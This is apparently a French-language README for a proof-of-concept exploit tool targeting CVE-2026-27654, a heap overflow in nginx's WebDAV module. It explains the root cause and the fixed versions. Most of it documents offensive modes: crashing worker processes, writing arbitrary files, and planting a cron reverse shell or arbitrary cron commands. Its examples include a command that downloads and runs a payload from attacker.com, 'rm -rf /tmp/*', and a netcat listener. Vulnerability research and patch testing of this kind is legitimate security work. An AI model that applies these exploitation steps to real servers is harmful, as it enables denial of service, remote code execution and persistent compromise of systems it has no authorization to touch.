
Preuve de concept et analyse technique pour CVE-2026-27654, une vulnérabilité de débordement de tampon sur le tas (heap-based buffer overflow) dans le module HTTP WebDAV de NGINX, incluant l'analyse de la cause racine, la reproduction et les mesures d'atténuation.
# CVE-2026-27654 – PoC de gestion des chemins DAV et alias du module ngx_http_dav_module de nginx
Ce dépôt fournit un exploit proof-of-concept pour **CVE-2026-27654**, une vulnérabilité de débordement de tas (heap overflow) dans le `ngx_http_dav_module` de nginx. Le bug provient d'un underflow de `size_t` lors du traitement des requêtes `MOVE`/`COPY` avec des en-têtes `Destination` spécialement conçus et des emplacements basés sur `alias`.
> **⚠️ Avertissement :** Cet outil est destiné **uniquement à la recherche et aux tests de sécurité autorisés**. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation explicite de test. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive.
<p align="center">
<img src="https://raw.githubusercontent.com/Debajyoti0-0/CVE-2026-27654-PoC/main/Image.png" alt="CVE-2026-27654 Logo">
</p>
## 🔥 Présentation de la vulnérabilité
**CVE-2026-27654** est un **débordement de tampon basé sur le tas (heap-based buffer overflow)** déclenchable à distance dans le module HTTP WebDAV de NGINX, causé par un **underflow entier (integer underflow)** dans `ngx_http_dav_copy_move_handler()` (`src/http/modules/ngx_http_dav_module.c`). La vulnérabilité survient lorsque la longueur de l'URI de destination est dérivée en soustrayant le préfixe d'emplacement configuré du chemin de l'en-tête `Destination`. Comme les deux opérandes sont de type `size_t`, un chemin de destination plus court fait que la soustraction s'emballe jusqu'à une valeur non signée proche du maximum.
La longueur résultant de cet emballement est ensuite utilisée comme argument de taille pour `memcpy()`, ce qui entraîne une écriture hors limites dans le tas qui corrompt la mémoire et fait immédiatement planter le processus worker de NGINX. Un attaquant distant non authentifié peut déclencher cette condition de manière fiable à l'aide d'une seule requête **MOVE** ou **COPY** spécialement conçue, ciblant un emplacement WebDAV mappé via `alias`. Bien que le processus master de NGINX relance automatiquement les workers en échec, des requêtes répétées peuvent maintenir le service dans une boucle continue de crash des workers, ce qui entraîne un **déni de service (DoS)** persistant.
AddressSanitizer (ASan) valide la vulnérabilité avec une erreur `negative-size-param` dans `memcpy()`, en retraçant le chemin d'exécution de `ngx_http_dav_copy_move_handler()` à `ngx_http_core_module.c`. La vulnérabilité affecte **NGINX 0.5.13–1.28.2 (stable)** et **1.29.0–1.29.6 (mainline)** compilés avec `--with-http_dav_module` et configurés avec la directive `alias`. Le problème a été corrigé dans **NGINX 1.28.3** et **1.29.7** (commit `ab4b5b8`, `PR #1210`) grâce à une validation appropriée de la longueur du chemin de destination calculé avant les opérations mémoire.
## ✨ Fonctionnalités
- **Sélection interactive du mode** – choisissez parmi quatre modes de fonctionnement à l'exécution (crash, write-file, cron-shell, cron-cmd) avec un menu numéroté clair.
- **Déclenchement du crash** – envoie la requête `MOVE`/`COPY` canonique qui déclenche l'underflow de `size_t` et fait planter le worker vulnérable.
- **Mode write-file** – téléverse un contenu arbitraire vers n'importe quel emplacement du système de fichiers (nécessite un environnement de laboratoire avec un `alias` inscriptible).
- **Livraison cron-shell** – déploie une tâche cron de reverse shell dans `/etc/cron.d/`, avec des invites interactives pour `LHOST`/`LPORT` et un rappel pour démarrer le listener.
- **Livraison cron-cmd** – exécute une commande personnalisée via cron ; accepte soit une saisie interactive, soit l'option `--cron-command`.
- **Vérification de vulnérabilité** (`--check`) – mode non interactif qui exécute le test de crash et affiche un verdict clair `[VULNERABLE]` / `[NOT VULNERABLE]`, avec un code de sortie 0 ou 1.
- **Prise en charge du proxy HTTP** (`--proxy`) – achemine toutes les requêtes via un proxy HTTP/HTTPS (par ex. Burp Suite, mitmproxy) pour le débogage ou l'inspection du trafic.
- **Gestion intelligente des fichiers** – vérifie si le fichier de déclenchement existe déjà (via HEAD/GET) et ignore le PUT s'il est présent, évitant ainsi des téléversements inutiles.
- **Options de payload flexibles** – fournissez les payloads via `--payload-file` (binaire), `--payload-text` (texte littéral), ou utilisez le contenu de test par défaut.
- **Arguments de ligne de commande complets** – affinez chaque aspect de l'exploit : `--destination-path`, `--alias-len`, `--escape-depth`, `--method`, `--location-prefix`, et plus encore.
- **Repli robuste** – si la bibliothèque `requests` n'est pas installée, le script se replie sur le module standard `http.client` de Python (la prise en charge du proxy est désactivée en mode de repli).
## 📦 Installation
```bash
git clone https://github.com/Debajyoti0-0/CVE-2026-27654-PoC.git
cd CVE-2026-27654-PoC
pip install -r requirements.txt
```
## 🚀 Utilisation
### Mode interactif (menu)
```bash
python exploit.py --target 192.168.1.100:8080
```
Un menu numéroté s'affichera et vous serez invité à sélectionner un mode.
### Vérification de vulnérabilité (non interactive)
```bash
python exploit.py --target 192.168.1.100:8080 --check
```
Cela force le mode **crash**, exécute l'exploit et affiche `[VULNERABLE]` ou `[NOT VULNERABLE]` avant de se terminer avec le code `0` ou `1`.
### Avec un proxy HTTP
```bash
python exploit.py --target 192.168.1.100:8080 --proxy http://127.0.0.1:8080
```
Toutes les requêtes HTTP seront envoyées via le proxy spécifié (utile pour le débogage avec Burp).
## ⚙️ Référence des options
| Option | Description | Exemple |
|------|-------------|---------|
| `--target HOST:PORT` | Instance nginx cible (défaut : `127.0.0.1:8080`). | `--target 10.0.0.5:80` |
| `--verbose`, `-v` | Affiche les réponses HTTP complètes (en-têtes et corps). | `-v` |
| `--no-put` | Ignore le PUT initial (suppose que le fichier de déclenchement existe déjà). Utile pour des tests répétés. | `--no-put` |
| `--location-prefix` | Préfixe d'emplacement DAV (défaut : `/uploads/`). Doit correspondre à l'emplacement `alias` dans la configuration nginx. | `--location-prefix /dav/` |
| `--remote-name` | Nom du fichier source distant placé dans l'emplacement DAV (défaut : `triggerfile.txt`). | `--remote-name test.txt` |
| `--method {MOVE,COPY}` | Méthode DAV à utiliser pour la requête de destination (défaut : `MOVE`). | `--method COPY` |
| `--destination-path` | Chemin d'URI de destination – utilisé pour l'arithmétique du crash ou comme chemin de fichier final pour les modes de livraison. | `--destination-path /etc/cron.d/backdoor` |
| `--alias-len` | Longueur de la chaîne `alias` configurée (utilisée pour l'affichage de l'arithmétique du crash, défaut `13`). | `--alias-len 20` |
| `--escape-depth` | Nombre de composants de chemin `../` pour sortir de la racine DAV (défaut `1`). | `--escape-depth 3` |
| `--payload-file` | Fichier local à téléverser comme payload. Remplace le contenu de test par défaut. | `--payload-file ./shell.php` |
| `--payload-text` | Payload textuel littéral pour le mode `write-file`. | `--payload-text "<?php phpinfo(); ?>"` |
| `--lhost` | Hôte de rappel du reverse shell (pour `cron-shell`). S'il est omis, le script invite interactivement. | `--lhost 192.168.1.50` |
| `--lport` | Port de rappel du reverse shell (pour `cron-shell`). | `--lport 4444` |
| `--cron-command` | Commande à exécuter via cron (pour `cron-cmd`). Si elle est omise, le script invite interactivement. | `--cron-command "rm -rf /tmp/*"` |
| `--wait` | Secondes à attendre après la livraison cron pour que la tâche s'exécute (défaut `65`). | `--wait 120` |
| `--check` | Exécute la vérification de vulnérabilité (test de crash, non interactif). Affiche `VULNERABLE`/`NOT VULNERABLE` et se termine avec le code 0/1. | `--check` |
| `--proxy PROXY_URL` | URL du proxy HTTP/HTTPS (par ex. `http://127.0.0.1:8080`). Nécessite la bibliothèque `requests`. | `--proxy http://127.0.0.1:8080` |
> **Remarque :** La plupart des options sont facultatives. Le script demandera les arguments obligatoires manquants (par ex. `--lhost`/`--lport` pour `cron-shell`) s'ils ne sont pas fournis.
## 🧪 Modes en détail
### 1. `crash`
Envoie la requête `MOVE` (ou `COPY`) spécialement conçue qui déclenche l'underflow de `size_t`. Le serveur fera planter le processus worker. Si le processus master est correctement configuré, il relancera un nouveau worker.
**Exemple :**
```bash
python exploit.py --target 10.0.0.5:80
# Select mode 1 (crash)
```
### 2. `write-file`
Téléverse un fichier vers un emplacement arbitraire du système de fichiers. Cela ne fonctionne que si l'emplacement DAV est adossé à un `alias` pointant vers un répertoire inscriptible et que le chemin `Destination` est conçu pour sortir de la racine DAV. **À utiliser uniquement dans des environnements de laboratoire autorisés.**
**Exemple :**
```bash
python exploit.py --target 10.0.0.5:80 --payload-text "evil" --destination-path /tmp/evil.txt
# Select mode 2 (write-file)
```
### 3. `cron-shell`
Place une tâche cron de reverse shell dans `/etc/cron.d/`.
Lorsque vous sélectionnez ce mode, le script vous demandera :
- **LHOST** – votre IP d'écoute
- **LPORT** – votre port d'écoute
Il affichera ensuite la commande du listener netcat et attendra que vous appuyiez sur **Entrée** une fois votre listener lancé.
**Exemple (pré-rempli) :**
```bash
python exploit.py --target 10.0.0.5:80 --lhost 192.168.1.50 --lport 4444
# Select mode 3 (cron-shell)
```
### 4. `cron-cmd`
Place une commande personnalisée (fournie de manière interactive ou via `--cron-command`) dans `/etc/cron.d/`. Cela est utile pour exécuter des commandes système arbitraires.
**Exemple (interactif) :**
```bash
python exploit.py --target 10.0.0.5:80
# Select mode 4, then enter command when prompted
```
**Exemple (pré-rempli) :**
```bash
python exploit.py --target 10.0.0.5:80 --cron-command "id > /tmp/owned"
# Select mode 4 (cron-cmd)
```
## 📝 Exemple de flux de travail (Reverse Shell)
```bash
$ python exploit.py --target 192.168.1.100:8080
Available modes:
1. crash - Trigger the heap overflow crash
2. write-file - Write arbitrary content to an arbitrary location (authorized lab)
3. cron-shell - Deploy a reverse shell via /etc/cron.d
4. cron-cmd - Deploy a custom cron job
Select mode (number or name): 3
Enter reverse shell callback host (--lhost): 192.168.1.50
Enter reverse shell callback port (--lport): 4444
[*] Please start your netcat listener in a new terminal:
nc -lvnp 4444
[*] Press Enter once your listener is running...
[press Enter]
... (script performs the exploitation) ...
[+] Destination request accepted (201).
[*] Waiting 65s for cron execution...
[+] Reverse shell should connect shortly.
```
## 📝 Exemple de flux de travail (Exécution de commande)
Cet exemple illustre l'utilisation de `cron-cmd` pour exécuter une commande sur le système cible sans avoir besoin d'un listener.
### Mode interactif
```bash
$ python exploit.py --target 192.168.1.100:8080
Available modes:
1. crash - Trigger the heap overflow crash
2. write-file - Write arbitrary content to an arbitrary location (authorized lab)
3. cron-shell - Deploy a reverse shell via /etc/cron.d
4. cron-cmd - Deploy a custom cron job
Select mode (number or name): 4
Enter the command to run in cron (--cron-command): id > /tmp/owned
... (script performs the exploitation) ...
[+] Destination request accepted (201).
[*] Waiting 65s for cron execution...
[+] Command should have executed. Check /tmp/owned on the target.
```
### Pré-rempli (non interactif)
```bash
python exploit.py --target 192.168.1.100:8080 --cron-command "wget http://attacker.com/payload -O /tmp/payload && chmod +x /tmp/payload && /tmp/payload"
# Select mode 4 (cron-cmd)
```
Le script utilisera automatiquement le `--cron-command` fourni et ignorera l'invite interactive, ce qui le rend adapté à l'automatisation.
## 🛠️ Construction d'un environnement de test vulnérable
Pour tester ce PoC dans un environnement contrôlé, vous pouvez compiler nginx depuis les sources avec `--with-http_dav_module` et configurer un emplacement avec `alias` et `dav_methods`. Un exemple de configuration Docker est inclus (à venir).
## Références
- https://nginx.org/en/security_advisories.html
- https://github.com/nginx/nginx/commit/ab4b5b8
- https://github.com/nginx/nginx/pull/1210
## 📜 Licence
Ce projet est sous licence GNU v3.0 – voir le fichier [LICENSE](https://github.com/debajyoti0-0/cve-2026-27654-poc/blob/main/LICENSE) pour plus de détails.
## 🤝 Contribution
Les issues et les pull requests sont les bienvenues. Veuillez vous assurer que vos contributions respectent les mêmes directives d'utilisation éthique.
>**Rappel :** Obtenez toujours une autorisation appropriée avant de tester un outil de sécurité. Restez éthique !